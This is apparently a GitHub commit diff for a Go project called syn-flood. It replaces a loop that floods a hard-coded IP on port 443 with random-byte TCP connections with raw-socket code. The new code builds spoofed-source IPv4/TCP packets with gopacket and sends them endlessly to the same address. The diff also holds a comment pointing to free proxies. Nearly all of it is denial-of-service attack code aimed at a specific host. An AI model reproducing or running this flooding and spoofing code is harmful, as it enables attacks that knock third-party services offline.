basic skeleton

joshsagredo · Apr 6, 2021 · 887c4ee · 887c4ee
1 parent e87e1f9
commit 887c4ee
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Showing 4 changed files with 114 additions and 39 deletions.
diff --git a/cmd/syn-flood/main.go b/cmd/syn-flood/main.go
@@ -1,53 +1,104 @@
 package main
 
 import (
-	"fmt"
-	flag "github.com/spf13/pflag"
-	"math/rand"
+	"github.com/google/gopacket"
+	"github.com/google/gopacket/layers"
+	"golang.org/x/net/ipv4"
+	"log"
 	"net"
-	"time"
-)
-
-var (
-	proto, host string
-	port, concurrency int
 )
 
 func init() {
-	flag.StringVar(&proto, "proto", "tcp", "protocol to attack, defaults to tcp")
-	flag.StringVar(&host, "host", "213.238.175.187", "host to attack, defaults to www.example.com")
-	flag.IntVar(&port, "port", 443, "port to attack, defaults to 80")
-	flag.IntVar(&concurrency, "concurrency", 10, "concurrency count to run goroutines, defaults to 2")
 
-	rand.Seed(time.Now().UnixNano())
 }
 
 func main() {
 	// https://www.programmersought.com/article/74831586115/
 	// https://github.com/rootVIII/gosynflood
 	// https://golangexample.com/repeatedly-send-crafted-tcp-syn-packets-with-raw-sockets/
-	for i := 0; i < concurrency; i++ {
-		go func() {
-			connectionCount := 0
-			for true {
-				conn, err := net.DialTimeout(proto, fmt.Sprintf("%s:%d", host, port), 100*time.Second)
-				if err != nil {
-					panic(err)
-				}
-				bytes := make([]byte, 20000)
-				rand.Read(bytes)
-				_, err = conn.Write(bytes)
-				if err != nil {
-					panic(err)
-				}
-
-				connectionCount++
-				// log.Printf("connection established, count = %d\n", connectionCount)
-			}
-		}()
-	}
-
-	select {
 
+
+	// https://pkg.go.dev/github.com/google/gopacket
+	// https://github.com/david415/HoneyBadger/blob/021246788e58cedf88dee75ac5dbf7ae60e12514/packetSendTest.go
+	// free proxies -> https://www.sslproxies.org/
+	var srcIp, dstIp net.IP
+	srcIpStr := "117.58.245.114"
+	dstIpStr := "213.238.175.187"
+
+	srcIp = net.ParseIP(srcIpStr).To4()
+	dstIp = net.ParseIP(dstIpStr).To4()
+
+	// build tcp/ip packet
+	packet := layers.IPv4{
+		SrcIP: srcIp,
+		DstIP: dstIp,
+		Version: 4,
+		TTL: 64,
+	}
+
+	srcPort := layers.TCPPort(666)
+	dstPort := layers.TCPPort(443)
+	tcp := layers.TCP{
+		SrcPort: srcPort,
+		DstPort: dstPort,
+		Window:  1505,
+		Urgent:  0,
+		Seq:     11050,
+		Ack:     0,
+		ACK:     false,
+		SYN:     false,
+		FIN:     false,
+		RST:     false,
+		URG:     false,
+		ECE:     false,
+		CWR:     false,
+		NS:      false,
+		PSH:     false,
+	}
+
+	opts := gopacket.SerializeOptions{
+		FixLengths:       true,
+		ComputeChecksums: true,
+	}
+
+	err := tcp.SetNetworkLayerForChecksum(&packet)
+	if err != nil {
+		panic(err)
+	}
+
+	packetHeaderBuf := gopacket.NewSerializeBuffer()
+	err = packet.SerializeTo(packetHeaderBuf, opts)
+	if err != nil {
+		panic(err)
+	}
+	packetHeader, err := ipv4.ParseHeader(packetHeaderBuf.Bytes())
+	if err != nil {
+		panic(err)
+	}
+
+	tcpPayloadBuf := gopacket.NewSerializeBuffer()
+	payload := gopacket.Payload("meowmeowmeowasdfasdfasdf")
+
+	err = gopacket.SerializeLayers(tcpPayloadBuf, opts, &tcp, payload)
+	if err != nil {
+		panic(err)
+	}
+	// XXX end of packet creation
+
+	// XXX send packet
+	var packetConn net.PacketConn
+	var rawConn *ipv4.RawConn
+	packetConn, err = net.ListenPacket("ip4:tcp", "127.0.0.1")
+	if err != nil {
+		panic(err)
+	}
+	rawConn, err = ipv4.NewRawConn(packetConn)
+	if err != nil {
+		panic(err)
+	}
+
+	for {
+		err = rawConn.WriteTo(packetHeader, tcpPayloadBuf.Bytes(), nil)
+		log.Printf("packet of length %d sent!\n", len(tcpPayloadBuf.Bytes()) + len(packetHeaderBuf.Bytes()))
 	}
 }
diff --git a/go.mod b/go.mod
@@ -2,4 +2,7 @@ module github.com/bilalcaliskan/syn-flood
 
 go 1.16
 
-require github.com/spf13/pflag v1.0.5
+require (
+	github.com/google/gopacket v1.1.19
+	golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4
+)
diff --git a/go.sum b/go.sum
@@ -1,2 +1,22 @@
-github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA=
-github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
+github.com/google/gopacket v1.1.19 h1:ves8RnFZPGiFnTS0uPQStjwru6uO6h+nlr9j6fL7kF8=
+github.com/google/gopacket v1.1.19/go.mod h1:iJ8V8n6KS+z2U1A8pUwu8bW5SyEMkXJB8Yo/Vo+TKTo=
+golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
+golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
+golang.org/x/lint v0.0.0-20200302205851-738671d3881b/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY=
+golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg=
+golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
+golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
+golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4 h1:4nGaVu0QrbjT/AK2PRLuQfQuh6DJve+pELhqTdAj3x0=
+golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4/go.mod h1:p54w0d4576C0XHj96bSt6lcn1PtDYWL6XObtHCRCNQM=
+golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
+golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
+golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44 h1:Bli41pIlzTzf3KEY06n+xnzK/BESIg2ze4Pgfh/aI8c=
+golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
+golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
+golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
+golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
+golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
+golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
diff --git a/pkg/tcp/tcp.go b/pkg/tcp/tcp.go
@@ -0,0 +1 @@
+package tcp